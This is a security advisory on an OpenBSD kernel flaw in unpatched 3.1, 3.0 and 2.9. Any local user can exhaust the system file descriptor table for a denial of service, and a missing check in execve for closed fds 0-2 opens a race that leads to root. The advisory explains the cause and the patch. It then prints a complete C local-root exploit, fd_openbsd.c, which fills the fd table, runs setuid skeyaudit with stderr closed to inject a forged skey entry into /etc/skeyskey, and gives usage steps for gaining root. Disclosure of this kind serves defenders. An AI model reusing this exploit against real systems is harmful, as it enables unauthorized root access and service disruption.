|
|
|
|
| |
| On current OpenBSD systems, any local user (whether or not they are in the wheel group) can fill the kernel file descriptors table, leading to a denial of service condition. Furthermore, by abusing a flaw in the way the kernel checks closed file descriptors 0-2 (when running a setuid program), it is possible to combine this bug and gain root access (by exploiting a race condition). |
| |
Credit:
The information has been provided by FozZy.
|
| |
Vulnerable systems:
OpenBSD 3.1, 3.0 and 2.9 (Unpatched)
Immune systems:
OpenBSD 3.1, 3.0 and 2.9 (Patched)
Technical description:
Local Denial of Service:
A local user can exhaust all the file descriptor entries in the kernel table, since there is nothing like a "per user limit" (unlike what is done for processes). It is only a "per process limit" which can be reached easily by a process creating pipes in a loop. One pipe means two unique file descriptors. Such a process can fork when its limit is reached, and then go on creating pipes, fork again, and finally reach the system limit.
Then only the cracker can execute commands, by freeing some file descriptors when he wants to. Even root cannot run commands: typing "ls" in the console answers "Two many opened files in system" or "No ld.so". Operations of crontabs, logging facilities, daemons and servers, are at risk too. Other systems may be vulnerable to this attack. Linux tries to prevent this with some file descriptors available only to root.
Local Root Exploit
Three weeks ago, Joost Pol from Pine released an advisory about the following bug on FreeBSD: closing file descriptors 0, 1, and/or 2 before exec'ing a setuid program can make this program open files under these fds, which have special meanings for libc (stdin/out/err). Reading or writing to root-owned files can be made possible, since stdXX==opened_file.
Since 1998, there is a check in the OpenBSD kernel, intended to prevent this: in the execve function, if fd is 0, 1 or 2 is closed, then it is opened as a new file descriptor assigned to /dev/null. Then, the setuid program can be safely executed. But, unlike the FreeBSD and NetBSD patch (and unlike what does Linux in glibc), if there is a failure here, we break out of the current loop and the execve goes on (it should fail: this was pointed out by art in the comments of the code, but not fixed).
In sys/kern/kern_exec.c, in the loop where the kernel tries to open /dev/null on closed fd 0->2:
(...)
if ((error = falloc(p, &fp, &indx)) != 0)
break;
(...)
This can be exploited by a local user to gain root. An attacker can exploit a race condition with respect to the system file descriptors table:
1) Fill the kernel file descriptors table (see the "local DoS" explanation).
2) Execute a setuid program with (for instance) fd number 2 closed. In the execve kernel function, fd number 2 will not be opened to /dev/null because the falloc will fail. So, the setuid program will be run with fd 2 closed.
3) Quickly close some fd in order to allow the program to run correctly (ld.so needs free file descriptors, and so does the setuid program). Step 3 timing is crucial: if too early, /dev/null will be assigned to fd 2. If too late, the suid program execution will fail. However, we found that, by tuning a simple "for" loop, the good timing is quite easy to meet.
Solution:
The "root exploit" problem was fixed on the CVS a week ago, a few hours after it was reported. Patches for OpenBSD 3.1, 3.0 and 2.9 should be available on the OpenBSD website today. Removing the setuid bit from /usr/bin/skey* is not a good workaround, you must patch your kernel. Increasing kern.maxfiles and lowering the local users hard limits (both number of processes and opened files per process) could be a workaround to the DoS problem.
Exploit:
We have been able to exploit this vulnerability successfully on OpenBSD 3.0, and become root from luser using the setuid-root program "/usr/bin/skeyaudit" (keyinit was the FreeBSD exploit by phased, but the OpenBSD skeyinit is not exploitable the same way).
The trick is to put the line we want to insert in /etc/skeyskey into argv[0], with new line tags, when running skeyaudit. Any entry for the local user must be removed first, so skeyaudit will complain on stderr, printing its "filename" (argv[0]) and some error text. If /etc/skeyskey is opened on fd number 2, we succeeded.
/* fd_openbsd.c
(c) 2002 FozZy <fozzy@dmpfrance.com>
Local root exploit for OpenBSD up to 3.1. Do not distribute.
Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com)
For educational and security audit purposes only. Try this on your *own* system.
No warranty of any kind, this program may damage your system and your brain.
Script-kiddies, you will have to modify one or two things to make it work.
Usage:
gcc -o fd fd_openbsd.c
./fd
su -a skey
*/
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
#define SUID_NAME "/usr/bin/skeyaudit"
#define SKEY_DATA "\nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002 22:47:00\n";
extern int errno;
int main(int argc, char **argv) {
char *argvsuid[3];
int i, n;
int fildes[2];
struct rlimit *rlp;
rlp = (struct rlimit *) malloc((size_t) sizeof(rlp));
if (getrlimit(RLIMIT_NOFILE, rlp))
perror("getrlimit");
rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number of fd in each process */
if (setrlimit(RLIMIT_NOFILE, rlp))
perror("setrlimit");
n=0;
open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/
while (n==0) {
for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */
close(i);
i=0;
while(pipe(fildes)==0) /* pipes are the best way to allocate unique file descriptors quickly */
i++;
printf("Error number %d : %s\n", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process");
if (errno==ENFILE) { /* System file table full */
n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */
fprintf(stderr, "Let's exec the suid binary...\n");
fflush(stderr);
if ((n=fork())==-1) {
perror("last fork failed");
exit(1);
}
if (n==0) {
for (i=3; i<=rlp->rlim_cur; i++)
close(i); /* close all fd, we don't need to fill the fd table of the process */
argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as the name of the program */
argvsuid[1]="-i"; /* to make skeyaudit fail with an error */
argvsuid[2]=NULL;
close(2); /* let the process exec'ed have stderr as the *first* fd free */
execve(SUID_NAME, argvsuid, NULL);
perror("execve");
exit(1);
}
else {
for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own system */
;
for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */
close(i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
exit(0);
}
}
else { /* process table full, let's fork to allocate more fds */
if ((n=fork()) == -1) {
perror("fork failed");
exit(1);
}
}
}
printf("Number of pipes opened by parent: %d\n",i);
sleep(5);
for (i=3; i<=rlp->rlim_cur; i++)
close(i);
fprintf(stderr,"Exiting...\n");
exit(0);
}
|
|
|
|
|
|
|